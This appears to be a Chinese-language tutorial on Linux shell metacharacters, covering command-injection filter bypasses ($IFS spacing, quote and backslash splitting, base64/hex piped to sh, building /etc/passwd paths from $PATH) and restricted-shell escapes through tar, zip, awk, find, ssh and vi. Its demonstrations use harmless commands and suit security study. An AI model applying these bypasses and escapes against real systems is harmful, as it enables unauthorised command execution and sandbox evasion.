Linux 命令注入方式总结和常见过滤绕过
SHELL 常用字符
|
管道符号,将上一条指令的标准输出作为下一条指令的标准输入,正则表达式中表示 “或者”
&
将一条命令放在后台执行,或表示标准输出和标准错误输出
||
表示 “或者”,连接两条命令,当前一条命令执行失败后面的命令才会执行
&&
表示 “和”,当前一条命令执行成功后面的命令才会执行
;
分号拼接连续几条命令,就算前面的命令执行失败后面也会执行
$
美元符号用来获取变量的值
()
组合命令执行,称为指令群组,可以结合分号执行多条命令
(ls -la ; ifconfig)
shell 中针对指令群组会产生 subshell 执行
`
反引号表示 “指令替代”,将反引号包裹的命令输出结果作为另一个指令的输入
$()
也表示指令替代
‘
单引号将包裹住的内容视为字符串,其中 $ 等符号不会被进一步处理
“
双引号和单引号功能相同,但是双引号包裹的字符串中 $ 等符号会被拓展为变量
(())
连续两个小括号可以用来进行算数运算,类似 let 指令
{}
大括号可用于字符组合
cat {./te,st}{st,st}
cat {./te,st}{st,st}
最终会生成
cat ./test
cat ./test
cat ./stst
cat ./stst
另用于实现匿名函数
{ cmd1; cmd2; cmd3;}
第一条命令和大括号之间要有空格,每条命令后要有分号
正则表达式中表示范围
[]
中括号常用于流程控制,起判断作用,在正则表达式中表示范围或者集合
cat ./te[0-z]t
但中括号中不能使用 && 等逻辑字符
[[]]
双中括号用于字符串比较测试,允许在其中使用 || && 等逻辑符号
>
大于号表示输出重定向,如果目标文件已经存在则覆盖其中的内容
echo "test" > test
shell 中提供了叫做 noclobber 的特性,它可以防止重定向不经意间修改了目标文件,打开此特性后如果进行重定向覆盖文件,shell 会报告错误而不覆盖目标文件。
iot@ubuntu:~/Desktop$ set -o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
bash: test:无法覆盖已存在的文件
iot@ubuntu:~/Desktop$ set +o noclobber
iot@ubuntu:~/Desktop$ echo "overwrite" > test
iot@ubuntu:~/Desktop$
<
小于号表示输入重定向
>>
双大于号表示输出重定向追加
<<
cmd << end
双小于号从标准输入中读取输入,直到遇到指定的字符串(end)结束
如果输入不使用引号包裹,则命令会执行变量替换,如果使用 <<- ,则读取的时候会忽略每行输入前面的 tab
通配符
| 字符 | 解释 |
|---|---|
| * | 匹配任意长度任意字符 |
| ? | 匹配任意单个字符 |
| [list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
| [^list] | 匹配指定范围外的任意单个字符或字符集合 |
| [!list] | [^list] |
| 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 | |
| IFS | 由 < space > 或 < tab > 或 < enter > 三者之一组成 |
| CR | 由 < enter > 产生 |
| ! | 执行 history 中的命令 |
专用字符集
| 字符 | 意义 |
|---|---|
| [:alnum:] | 任意数字或者字母 |
| [:alpha:] | 任意字母 |
| [:space:] | 空格 |
| [:lower:] | 小写字母 |
| [:digit:] | 任意数字 |
| [:upper:] | 任意大写字母 |
| [:cntrl:] | 控制符 |
| [:graph:] | 图形 |
| [:print:] | 可打印字符 |
| [:punct:] | 标点符号 |
| [:xdigit:] | 十六进制数 |
| [:blank:] | 空白字符 |
cat ./te[[:alpha:]]t
重定向组合应用
- cmd >| file 和单个大于号功能相同,但它可以忽略 noclobber 的限制
- :> file 将文件截断为 0 长度,文件不存在则创建
- cmd >&n 将命令输出到文件描述符 n
- cmd m>&n 把输出到文件描述符 m 的信息重定向到 n
字符过滤绕过
空格
- 用 $IFS 绕过
cat$IFStest
cat${IFS}test
cat$IFS$9test
- 用重定向符号绕过
cat<test
cat<>test
-
bash 中使用大括号绕过
{cat,./test} -
环境变量绕过
iot@ubuntu:~/Desktop/test$ x=$'cat\x20test'&&$x
test
iot@ubuntu:~/Desktop/test$ x=$'cat\x09test'&&$x
test
关键字绕过
- 用 $@
c$@at ./test
- 用环境变量绕过
x=c;y=a;z=t;$x$y$z test
- 用编码绕过
# 1. base64
iot@ubuntu:~/Desktop/test$ echo "cat test" | base64
Y2F0IHRlc3QK
iot@ubuntu:~/Desktop/test$ echo "Y2F0IHRlc3QK" | base64 -d | sh
# 2. hex
iot@ubuntu:~/Desktop/test$ echo "cat test" | xxd -ps
63617420746573740a
iot@ubuntu:~/Desktop/test$ echo "63617420746573740a" | xxd -r -p | sh
# 3. printf
# printf 支持多种编码输出
iot@ubuntu:~/Desktop/test$ $(printf '\154\163')
test
iot@ubuntu:~/Desktop/test$ $(printf '\x6c\x73')
test
- 单引号和双引号
iot@ubuntu:~/Desktop/test$ c"a"t ./test
test
iot@ubuntu:~/Desktop/test$ cat ./t'e'st
test
- 反斜线
iot@ubuntu:~/Desktop/test$ c\at ./t\e\st
test
- 用环境变量绕过
# 绕过斜线
cat ${PATH:0:1}etc${PATH:0:1}passwd
# 特殊变量
${IFS} # 分隔符
${PS2} # >
${PS4} # +
${9} # 空
-
其他特殊用法
-
- 问号
cat ./te??
- 问号
-
- []
[…] 匹配括号中的任一个字符
cat ./te[abcdsf]t
- []
-
- {}
{…} 匹配大括号中所有模式
cat ./te{a,e,s,t,f}t
cat ./te{a..z}t
[…] 和 {…} 的区别
[…] 当文件不存在时它会变成普通的字符串
- {}
iot@ubuntu:~/Desktop$ cat ./te[abcdf]t
cat: './te[abcdf]t': 没有那个文件或目录
而 {…} 当文件不存在时依然会展开
iot@ubuntu:~/Desktop$ cat ./te{a,e,t,f}t
cat: ./teat: 没有那个文件或目录
cat: ./teet: 没有那个文件或目录
cat: ./tett: 没有那个文件或目录
cat: ./teft: 没有那个文件或目录
-
- 通配符
? * 等通配符不能匹配 /
可以创建文件名包含通配符的文件
iot@ubuntu:~/Desktop$ touch 'tes*'
iot@ubuntu:~/Desktop$ ls tes*
'tes*' test
-
- 星号
直接执行 * 相当于执行
$(dir *)
-
- alias
alias 覆盖指令
iot@ubuntu:~/Desktop/test$ cat test
test
iot@ubuntu:~/Desktop/test$ alias cat="pwd"
iot@ubuntu:~/Desktop/test$ cat test
/home/iot/Desktop/test
参数注入/rbash escape
检查当前 shell
echo $SHELL
vi/vim、ed、ftp、gdb、more、less、man 等文本编辑/显示工具
都可以通过输入 !/bin/sh 获取 shell,vi/vim 中要先输入冒号。
tar
tar 具有一个 checkpoint 参数,这个参数指定每写入 n 个记录之后设置一个检查点,在检查点可以执行任意操作。
tar -cf ./exp.tar ./* --checkpoint=1 --checkpoint-action=exec="/bin/bash"
zip
zip 有 unzip-command 参数,可以用于执行命令
zip ./test.zip ./test -T --unzip-command="sh -c /bin/bash"
scp
scp -S 参数指定一个程序用来加密链接,这里可以指定可控的脚本或程序
scp -S ./1.sh ./test root@x.x.x.x:/tmp
awk
awk 'BEGIN {system("/bin/sh")}'
find
find 的 exec 参数可以用来执行命令
find ./ -name test -exec sh \;
ssh
ssh -t 参数可以指定在目标上执行的命令
ssh iot@192.168.152.129 -t "ls"
ProxyCommand 选项
ssh -o ProxyCommand="sh -c ./1.sh" 127.0.0.1
git
git help status
:/bin/sh
nmap
nmap 早期版本(before May/2009)有一个 –interactive 参数,执行后进入交互式终端,然后输入 !sh 即可获取 shell。
tcpdump
tcpdump 有 -z 参数,可以执行任意程序,但是不能控制参数,tcpdump 默认提供一个参数即保存的文件名
➜ test sudo tcpdump -n -i ens33 -G1 -w ./test -z gzip
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
gzip: ./test.gz: Permission denied
gzip: ./test.gz: Permission denied
gzip: ./test.gz: Permission denied

浙公网安备 33010602011771号